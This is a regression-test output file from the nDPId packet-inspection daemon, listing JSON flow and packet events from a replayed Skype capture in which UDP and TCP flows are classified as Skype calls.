+00525{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":744,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":101,"flow_packet_id":1,"flow_first_seen":1431970655837,"flow_last_seen":0,"flow_tot_l4_data_len":36,"flow_min_l4_data_len":36,"flow_max_l4_data_len":36,"flow_avg_l4_data_len":36,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"64.4.23.154","src_port":13021,"dst_port":40032,"l4_proto":"udp","ndpi": {"proto":"Skype.SkypeCall","breed":"Acceptable","category":"VoIP"}} +00486{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":745,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":102,"flow_packet_id":1,"flow_first_seen":1431970655837,"flow_last_seen":0,"flow_tot_l4_data_len":37,"flow_min_l4_data_len":37,"flow_max_l4_data_len":37,"flow_avg_l4_data_len":37,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.56.52.33","src_port":13021,"dst_port":40002,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00443{"flow_id":102,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":745,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970655,"pkt_ts_usec":837137,"pkt_caplen":71,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":71,"pkt_l4_len":37,"pkt":"0NQSxnP1PBXCt3IOCABFAAA5ayYAAEARfGrAqAEinTg0ITLdnEIAJe9eeyUCb3+11x21V+othQ6FZpV0z1bnAthdPIEc8bI="} +00526{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":745,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":102,"flow_packet_id":1,"flow_first_seen":1431970655837,"flow_last_seen":0,"flow_tot_l4_data_len":37,"flow_min_l4_data_len":37,"flow_max_l4_data_len":37,"flow_avg_l4_data_len":37,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.56.52.33","src_port":13021,"dst_port":40002,"l4_proto":"udp","ndpi": {"proto":"Skype.SkypeCall","breed":"Acceptable","category":"VoIP"}} +00447{"flow_id":97,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":746,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970656,"pkt_ts_usec":151384,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"PBXCt3IO0NQSxnP1CABFAAA8AABAADMGtI2dODQswKgBIpxUyC6j+8V4XpsVFaASOJDYRQAAAgQFrAQCCApMZ\/6WPjHZGQEDAwk="} +00436{"flow_id":97,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":747,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970656,"pkt_ts_usec":151461,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"0NQSxnP1PBXCt3IOCABFAAA0HiFAAEAGiXTAqAEinTg0LMgunFRemxUVo\/vFeYAQECwuNgAAAQEICj4x2lNMZ\/6W"} +00561{"flow_id":97,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":748,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970656,"pkt_ts_usec":152015,"pkt_caplen":156,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":156,"pkt_l4_len":122,"pkt":"0NQSxnP1PBXCt3IOCABFAACOOrdAAEAGbITAqAEinTg0LMgunFRemxUVo\/vFeYAYECxXoQAAAQEICj4x2lNMZ\/6Wrhs79BGYhMMB7iEF5tcHMoy4VALgEGzyG5tHOfMPK\/eAX\/weDS1SZ6oiHiBYEb64N3y9yjNIGXbv1DXiayARDqcsrfqj+AmmX4QlEtvQAT4X3J0qE6j51s80"} +00435{"flow_id":97,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":749,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970656,"pkt_ts_usec":458788,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"PBXCt3IO0NQSxnP1CABFAAA0O51AADMGePidODQswKgBIpxUyC6j+8V5XpsVb4AQAB09nAAAAQEICkxn\/uU+MdpT"} +00522{"flow_id":97,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":750,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970656,"pkt_ts_usec":458792,"pkt_caplen":129,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":129,"pkt_l4_len":95,"pkt":"PBXCt3IO0NQSxnP1CABFAABzO55AADMGeLidODQswKgBIpxUyC6j+8V5XpsVb4AYAB3\/ewAAAQEICkxn\/uU+MdpTk5xHzoRUYOAlNqZNQRYXZDvyucwWb2OQn0+QDvjZC4IsoaublhF3fDS+yCZVUfHm4NHOZ+xtumO4yWYfROXS"} +00436{"flow_id":97,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":751,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970656,"pkt_ts_usec":458892,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"0NQSxnP1PBXCt3IOCABFAAA02iBAAEAGzXTAqAEinTg0LMgunFRemxVvo\/vFuIAQECosHgAAAQEICj4x24VMZ\/7l"} +00449{"flow_id":97,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":752,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970656,"pkt_ts_usec":459465,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"0NQSxnP1PBXCt3IOCABFAAA8kq1AAEAGFODAqAEinTg0LMgunFRemxVvo\/vFuIAYECqizQAAAQEICj4x24VMZ\/7lUZ\/2f58qofY="} +00448{"flow_id":67,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":753,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970656,"pkt_ts_usec":509026,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"0NQSxnP1PBXCt3IOCABFAAA8OGhAAEAGIKLAqAEinTeCsMglnFZwrI9kwvNOL4AYECm\/BAAAAQEICj4x27ZOqL2E+DHKQRbsUKg="} +00487{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":754,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":103,"flow_packet_id":1,"flow_first_seen":1431970656861,"flow_last_seen":0,"flow_tot_l4_data_len":33,"flow_min_l4_data_len":33,"flow_max_l4_data_len":33,"flow_avg_l4_data_len":33,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"111.221.74.42","src_port":13021,"dst_port":40006,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00439{"flow_id":103,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":754,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970656,"pkt_ts_usec":861167,"pkt_caplen":67,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":67,"pkt_l4_len":33,"pkt":"0NQSxnP1PBXCt3IOCABFAAA1wZMAAEARPVPAqAEib91KKjLdnEYAIaXieycCe1fKnMoPyS7sKN+ClU5dh7E8u7Wn6g=="} +00527{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":754,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":103,"flow_packet_id":1,"flow_first_seen":1431970656861,"flow_last_seen":0,"flow_tot_l4_data_len":33,"flow_min_l4_data_len":33,"flow_max_l4_data_len":33,"flow_avg_l4_data_len":33,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"111.221.74.42","src_port":13021,"dst_port":40006,"l4_proto":"udp","ndpi": {"proto":"Skype.SkypeCall","breed":"Acceptable","category":"VoIP"}} +00488{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":755,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":104,"flow_packet_id":1,"flow_first_seen":1431970656861,"flow_last_seen":0,"flow_tot_l4_data_len":35,"flow_min_l4_data_len":35,"flow_max_l4_data_len":35,"flow_avg_l4_data_len":35,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.55.235.172","src_port":13021,"dst_port":40020,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00440{"flow_id":104,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":755,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970656,"pkt_ts_usec":861168,"pkt_caplen":69,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":69,"pkt_l4_len":35,"pkt":"0NQSxnP1PBXCt3IOCABFAAA3VcEAAEAR2kbAqAEinTfrrDLdnFQAI1TmeykCBTNtXbhMDQf2D6UV0R3mHu30wTeW\/+eg"} +00528{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":755,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":104,"flow_packet_id":1,"flow_first_seen":1431970656861,"flow_last_seen":0,"flow_tot_l4_data_len":35,"flow_min_l4_data_len":35,"flow_max_l4_data_len":35,"flow_avg_l4_data_len":35,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.55.235.172","src_port":13021,"dst_port":40020,"l4_proto":"udp","ndpi": {"proto":"Skype.SkypeCall","breed":"Acceptable","category":"VoIP"}} +00488{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":756,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":105,"flow_packet_id":1,"flow_first_seen":1431970656861,"flow_last_seen":0,"flow_tot_l4_data_len":30,"flow_min_l4_data_len":30,"flow_max_l4_data_len":30,"flow_avg_l4_data_len":30,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.55.235.167","src_port":13021,"dst_port":40029,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00435{"flow_id":105,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":756,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970656,"pkt_ts_usec":861258,"pkt_caplen":64,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":64,"pkt_l4_len":30,"pkt":"0NQSxnP1PBXCt3IOCABFAAAylicAAEARmerAqAEinTfrpzLdnF0AHsxpeysCNBmO6n4oPt4qGVJFTPBgQCMCbA=="} +00528{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":756,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":105,"flow_packet_id":1,"flow_first_seen":1431970656861,"flow_last_seen":0,"flow_tot_l4_data_len":30,"flow_min_l4_data_len":30,"flow_max_l4_data_len":30,"flow_avg_l4_data_len":30,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.55.235.167","src_port":13021,"dst_port":40029,"l4_proto":"udp","ndpi": {"proto":"Skype.SkypeCall","breed":"Acceptable","category":"VoIP"}} +00487{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":757,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":106,"flow_packet_id":1,"flow_first_seen":1431970656861,"flow_last_seen":0,"flow_tot_l4_data_len":42,"flow_min_l4_data_len":42,"flow_max_l4_data_len":42,"flow_avg_l4_data_len":42,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.55.56.140","src_port":13021,"dst_port":40003,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00452{"flow_id":106,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":757,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970656,"pkt_ts_usec":861258,"pkt_caplen":76,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":76,"pkt_l4_len":42,"pkt":"0NQSxnP1PBXCt3IOCABFAAA+1C4AAEARDvPAqAEinTc4jDLdnEMAKhWUey0Ck6OV07meiCUQoBZZK2TePWK3VEloqo0Om\/LmRrc7qA=="} +00527{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":757,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":106,"flow_packet_id":1,"flow_first_seen":1431970656861,"flow_last_seen":0,"flow_tot_l4_data_len":42,"flow_min_l4_data_len":42,"flow_max_l4_data_len":42,"flow_avg_l4_data_len":42,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.55.56.140","src_port":13021,"dst_port":40003,"l4_proto":"udp","ndpi": {"proto":"Skype.SkypeCall","breed":"Acceptable","category":"VoIP"}} +00489{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":758,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":107,"flow_packet_id":1,"flow_first_seen":1431970656861,"flow_last_seen":0,"flow_tot_l4_data_len":45,"flow_min_l4_data_len":45,"flow_max_l4_data_len":45,"flow_avg_l4_data_len":45,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"213.199.179.156","src_port":13021,"dst_port":40031,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00456{"flow_id":107,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":758,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970656,"pkt_ts_usec":861258,"pkt_caplen":79,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":79,"pkt_l4_len":45,"pkt":"0NQSxnP1PBXCt3IOCABFAABBaS8AAEARxk7AqAEi1ceznDLdnF8ALXpUey8C35QflkiVLuyYHEgftQvOcxrFG1PZDcVv\/V5f70upN2kVjw=="} +00529{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":758,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":107,"flow_packet_id":1,"flow_first_seen":1431970656861,"flow_last_seen":0,"flow_tot_l4_data_len":45,"flow_min_l4_data_len":45,"flow_max_l4_data_len":45,"flow_avg_l4_data_len":45,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"213.199.179.156","src_port":13021,"dst_port":40031,"l4_proto":"udp","ndpi": {"proto":"Skype.SkypeCall","breed":"Acceptable","category":"VoIP"}} +00447{"flow_id":61,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":759,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970656,"pkt_ts_usec":877174,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"0NQSxnP1PBXCt3IOCABFAAA86MxAAEAG1hrAqAEib91KLcgknEjYMAoJdih2JIAYEClPvgAAAQEICj4x3SZNh6yILYCuK5us2zw="} +00447{"flow_id":59,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":760,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970657,"pkt_ts_usec":144362,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"0NQSxnP1PBXCt3IOCABFAAA8f5BAAEAGcJbAqAEinTfrk8ginEEPp73th03onYAYECkjxAAAAQEICj4x3jBMYEZOu98xvI+OKgs="} +00691{"flow_id":18,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":761,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970657,"pkt_ts_usec":192569,"pkt_caplen":251,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":251,"pkt_l4_len":217,"pkt":"0NQSxnP1PBXCt3IOCABFAADtCkVAAEAGNIjAqAEiF84hpsgfAbv4Tz2YGDU8XoAYECzZgAAAAQEICj4x3l\/sPW3FFgMBALQBAACwAwNVWiNLhX\/\/ejAO4KpxNC8\/ZrCwmmE9wkU90zxCDkcIKAAASgD\/wCTAI8AKwAnACMAowCfAFMATwBLAJsAlwAXABMADwCrAKcAPwA7ADQBrAGcAOQAzABYAPQA8ADUALwAKwAfAEcACwAwABQAEAQAAPQAAABMAEQAADmFwcHMuc2t5cGUuY29tAAoACAAGABcAGAAZAAsAAgEAAA0ADAAKBQEEAQIBBAMCAzN0AAA="} +00524{"flow_id":74,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":762,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970657,"pkt_ts_usec":277158,"pkt_caplen":127,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":127,"pkt_l4_len":93,"pkt":"0NQSxnP1PBXCt3IOCABFAABx0FhAAEAGh\/\/AqAEiQTffLcgnAbvOrma7ApkXD4AYECxgtAAAAQEICj4x3rNNlOpApvNYMEQS5cpK5u6346cd8BL2N20dvzqenZJMFcn1yRtBVTFQ\/i2ToNXpC7XoSTbRK6UPDCtXBWtUo6jCxA=="} +00514{"flow_id":73,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":763,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970657,"pkt_ts_usec":401499,"pkt_caplen":122,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":122,"pkt_l4_len":88,"pkt":"0NQSxnP1PBXCt3IOCABFAABskhRAAEAGXeLAqAEinTfrk8gmAbvxz5zEZu7sLYAYECwwIgAAAQEICj4x3y9MYEfZsJPOrYWxbQ2kS5GoHYZTSJUEAhUVjQ9Suc6gMln7jVEiXtQHYU+2Wg9JNG\/SECNBnGag8RNJ4KY="} +00484{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":764,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":108,"flow_packet_id":1,"flow_first_seen":1431970657448,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.56.52.44","src_port":51247,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00453{"flow_id":108,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":764,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970657,"pkt_ts_usec":448450,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"0NQSxnP1PBXCt3IOCABFAABAHFJAAEAGizfAqAEinTg0LMgvAbu6eq5bAAAAALAC\/\/9TfQAAAgQFtAEDAwUBAQgKPjHfXgAAAAAEAgAA"} +00448{"flow_id":108,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":765,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970657,"pkt_ts_usec":789843,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"PBXCt3IO0NQSxnP1CABFAAA8AABAADMGtI2dODQswKgBIgG7yC\/usf9LunquXKASOJDxVgAAAgQFrAQCCApMaAAoPjHfXgEDAwk="} +00436{"flow_id":108,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":766,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970657,"pkt_ts_usec":789913,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"0NQSxnP1PBXCt3IOCABFAAA0sH5AAEAG9xbAqAEinTg0LMgvAbu6eq5c7rH\/TIAQECxHLAAAAQEICj4x4LNMaAAo"} +00535{"flow_id":108,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":767,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970657,"pkt_ts_usec":789997,"pkt_caplen":138,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":138,"pkt_l4_len":104,"pkt":"0NQSxnP1PBXCt3IOCABFAAB86qtAAEAGvKHAqAEinTg0LMgvAbu6eq5c7rH\/TIAYECzAyQAAAQEICj4x4LNMaAAogEYBAwEALQAAABAAAAUAAAQAAAoAAAkAAGQAAGIAAAgAAAMAAAYBAIAHAMADAIAGAEACAIAEAIAI2TavlPWiK+DRzmfsbbpj"} +00488{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":768,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":109,"flow_packet_id":1,"flow_first_seen":1431970657867,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"111.221.77.175","src_port":51248,"dst_port":40030,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00453{"flow_id":109,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":768,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970657,"pkt_ts_usec":867433,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"0NQSxnP1PBXCt3IOCABFAABAUUpAAEAGahfAqAEib91Nr8gwnF4IVezmAAAAALAC\/\/8+qQAAAgQFtAEDAwUBAQgKPjHhAAAAAAAEAgAA"} +00486{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":769,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":110,"flow_packet_id":1,"flow_first_seen":1431970657867,"flow_last_seen":0,"flow_tot_l4_data_len":41,"flow_min_l4_data_len":41,"flow_max_l4_data_len":41,"flow_avg_l4_data_len":41,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.56.52.13","src_port":13021,"dst_port":40021,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00448{"flow_id":110,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":769,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970657,"pkt_ts_usec":867668,"pkt_caplen":75,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":75,"pkt_l4_len":41,"pkt":"0NQSxnP1PBXCt3IOCABFAAA9oHUAAEARRyvAqAEinTg0DTLdnFUAKQgoezEC\/l8nlzJZpnLIFE7P8fkc8mrPmKIpl9hxLirEQuOc"} +00526{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":769,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":110,"flow_packet_id":1,"flow_first_seen":1431970657867,"flow_last_seen":0,"flow_tot_l4_data_len":41,"flow_min_l4_data_len":41,"flow_max_l4_data_len":41,"flow_avg_l4_data_len":41,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.56.52.13","src_port":13021,"dst_port":40021,"l4_proto":"udp","ndpi": {"proto":"Skype.SkypeCall","breed":"Acceptable","category":"VoIP"}} +00487{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":770,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":111,"flow_packet_id":1,"flow_first_seen":1431970657867,"flow_last_seen":0,"flow_tot_l4_data_len":36,"flow_min_l4_data_len":36,"flow_max_l4_data_len":36,"flow_avg_l4_data_len":36,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"111.221.74.27","src_port":13021,"dst_port":40027,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00443{"flow_id":111,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":770,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970657,"pkt_ts_usec":867668,"pkt_caplen":70,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":70,"pkt_l4_len":36,"pkt":"0NQSxnP1PBXCt3IOCABFAAA4f1AAAEARf6LAqAEib91KGzLdnFsAJDT4ezMCrsyhXN3LQtIkyb75hiLtvYPm8jFPNUJJrw=="} +00527{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":770,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":111,"flow_packet_id":1,"flow_first_seen":1431970657867,"flow_last_seen":0,"flow_tot_l4_data_len":36,"flow_min_l4_data_len":36,"flow_max_l4_data_len":36,"flow_avg_l4_data_len":36,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"111.221.74.27","src_port":13021,"dst_port":40027,"l4_proto":"udp","ndpi": {"proto":"Skype.SkypeCall","breed":"Acceptable","category":"VoIP"}} +00488{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":771,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":112,"flow_packet_id":1,"flow_first_seen":1431970657867,"flow_last_seen":0,"flow_tot_l4_data_len":42,"flow_min_l4_data_len":42,"flow_max_l4_data_len":42,"flow_avg_l4_data_len":42,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.55.235.146","src_port":13021,"dst_port":33033,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00454{"flow_id":112,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":771,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970657,"pkt_ts_usec":867722,"pkt_caplen":76,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":76,"pkt_l4_len":42,"pkt":"0NQSxnP1PBXCt3IOCABFAAA+qWkAAEARhrHAqAEinTfrkjLdgQkAKiNZezUC\/2slHaKqOmhTH+zKnxlHa\/OJZyFRbGPJo\/ii7tiMOQ=="} +00528{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":771,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":112,"flow_packet_id":1,"flow_first_seen":1431970657867,"flow_last_seen":0,"flow_tot_l4_data_len":42,"flow_min_l4_data_len":42,"flow_max_l4_data_len":42,"flow_avg_l4_data_len":42,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.55.235.146","src_port":13021,"dst_port":33033,"l4_proto":"udp","ndpi": {"proto":"Skype.SkypeCall","breed":"Acceptable","category":"VoIP"}} +00488{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":772,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":113,"flow_packet_id":1,"flow_first_seen":1431970657867,"flow_last_seen":0,"flow_tot_l4_data_len":33,"flow_min_l4_data_len":33,"flow_max_l4_data_len":33,"flow_avg_l4_data_len":33,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.55.130.160","src_port":13021,"dst_port":40008,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} 